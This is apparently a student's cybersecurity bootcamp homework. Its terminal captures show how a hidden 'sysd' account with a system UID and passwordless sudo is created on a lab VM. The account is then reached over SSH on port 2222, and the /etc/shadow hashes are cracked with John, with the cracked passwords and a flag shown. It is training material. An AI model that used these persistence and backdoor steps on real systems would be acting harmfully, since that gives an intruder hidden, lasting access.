

Week 6: Advanced Bash - Owning the System

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

Step 1: Shadow People

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created:

- o Your solution command here

```
File Edit View Search Terminal Help
root:~\ $ useradd --no-create-home sysd
root:~\ $ cat /etc/passwd

loveface:x:1004:1004:~/home/loveface:/bin/bash
stallman:x:1005:1005:~/home/stallman:/bin/bash
turing:x:1006:1006:~/home/turing:/bin/bash
sysd:x:1007:1007:~/home/sysd:/bin/sh
root:~\ $

root:~\ $ grep sysd /etc/shadow
sysd:!:18646:0:99999:7:::
root:~\ $
```

2. Give your secret user a password:

- o Your solution command here

Added password under root - as week6

```
root:~\ $ grep sysd /etc/shadow
sysd:!:18646:0:99999:7:::
root:~\ $ passwd sysd
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root:~\ $
```

3. Give your secret user a system UID < 1000:

- o Your solution command here

```
root:~\ $ cat /etc/passwd | grep sysd
sysd:x:1007:1007:~/home/sysd:/bin/sh
root:~\ $

root:home\ $ cd /
root:/\ $ sudo usermod -u 990 sysd
root:/\ $

turing:x:1006:1006:~/home/turing:/bin/bash
sysd:x:990:1007:~/home/sysd:/bin/sh
root:/\ $
```

4. Give your secret user the same GID:

- o Your solution command here

```
File Edit View Search Terminal Help
root:/\ $ sudo adduser sysd sysd
Adding user `sysd' to group `sysd' ...
Adding user sysd to group sysd
Done.
```

- o
- o

```

cui tng:x:1006:1006:./home/cui tng:/bin/
sysd:x:990:1007:./home/sysd:/bin/sh

```

5. Give your secret user full sudo access without the need for a password:

- o Your solution command here
- o Add to sudoer

```

root:~\ $ sudo visudo
root:~\ $ sudo usermod -aG sudo sysd
root:~\ $

```

6. Test that sudo access works without your password:

```

sysadm:~\ $ sudo -l
sysd ALL=(ALL) NOPASSWD:ALL

```

```

$ whoami
sysd
$ su sudo
No passwd entry for user 'sudo'

```

Step 2: Smooth Sailing

1. Edit the sshd_config file:

- o Your bash commands here
- ```

root:~\ $ nano /etc/ssh/sshd_config

```

```

OpenSSH is to specify options with their default va
possible, but leave them commented. Uncommented op
default value.

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

```

```

default value.

#Port 22
Port 2222
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

```

## Step 3: Testing Your Configuration Update

1. Restart the SSH service:

- o Your solution command here

```

root:~\ $ nano /etc/ssh/sshd_config
root:~\ $ sudo service sshd restart
root:~\ $

```

```

Jan 19 09:12:44 scavenger-hunt systemd[1]: Starting OpenBSD Secure Shell server...
Jan 19 09:12:44 scavenger-hunt sshd[17743]: Server listening on 0.0.0.0 port 2222.
Jan 19 09:12:44 scavenger-hunt sshd[17743]: Server listening on :: port 2222.
Jan 19 09:12:44 scavenger-hunt systemd[1]: Started OpenBSD Secure Shell server.

```

- 
- 
- 2. Exit the root account:
  - Your solution command here

```
root@scavenger-hunt:~# su sysadmin
sysadmin:root\ $ cd ~
sysadmin:~\ $
```

3. SSH to the target machine using your sysd account and port 2222:
  - Your solution command here

Attacker Machine [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

```
root@scavenger-hunt: /home/sysadmin
File Edit View Search Terminal Help
sysadmin:~\ $ hostname
scavenger-hunt
sysadmin:~\ $ whoami
sysadmin
sysadmin:~\ $ su sysd
Password:
$ whoami
sysd
$ sudo su

You found flag_7:1zmr05X2t$Qf0deJVDpph5pBPpVL6oy0

root@scavenger-hunt:/home/sysadmin# whoami
root
root@scavenger-hunt:/home/sysadmin#
```

4. Use sudo to switch to the root user:
  - Your solution command here

Attacker Machine [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

activities Terminal Wed 21:19

```
root@scavenger-hunt: /home/sysadmin
File Edit View Search Terminal Help
sysadmin:~\ $ hostname
scavenger-hunt
sysadmin:~\ $ whoami
sysadmin
sysadmin:~\ $ su sysd
Password:
$ whoami
sysd
$ sudo su

You found flag_7:1zmr05X2t$Qf0deJVDpph5pBPpVL6oy0

root@scavenger-hunt:/home/sysadmin# whoami
root
root@scavenger-hunt:/home/sysadmin#
```

#### Step 4: Crack All the Passwords

1. SSH back to the system using your `sysd` account and port 2222:
  - o Your solution command here

```
The strategy used for options in the default sshd_config shipped with
OpenSSH is to specify options with their default value where
possible, but leave them commented. Uncommented options override the
default value.

Port 2222

#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key
```

```

sysadmin@UbuntuDesktop:~$ hostname
UbuntuDesktop
sysadmin@UbuntuDesktop:~$ ssh sysd@192.168.6.105 -p 2222
sysd@192.168.6.105's password:
Permission denied, please try again.
sysd@192.168.6.105's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/advantage

System information as of Thu Jan 21 02:24:01 UTC 2021

System load: 0.0 Processes: 95
Usage of /: 49.8% of 9.78GB Users logged in: 1
Memory usage: 17% IP address for enp0s3: 10.0.2.15
Swap usage: 0% IP address for enp0s8: 192.168.6.105

 * Introducing self-healing high availability clusters in MicroK8s.
 Simple, hardened, Kubernetes for production, from RaspberryPi to DC.

 https://microk8s.io/high-availability

```

```

$ sudo su

You found flag_7:1zmr05X2t$Qf0deJVDpph5pBPpVL6oy0

root@scavenger-hunt:/# █

```

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file:
  - o Your solution command here

```

File Edit View Search Terminal Help
root@scavenger-hunt:/etc# john unshadow
Loaded 8 password hashes with 8 different salts (crypt, generic crypt(3) [?/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
password (sysd)
computer (stallman)
freedom (babbage)
trustno1 (mitnik)
dragon (lovelace)
lakers (turing)
█

```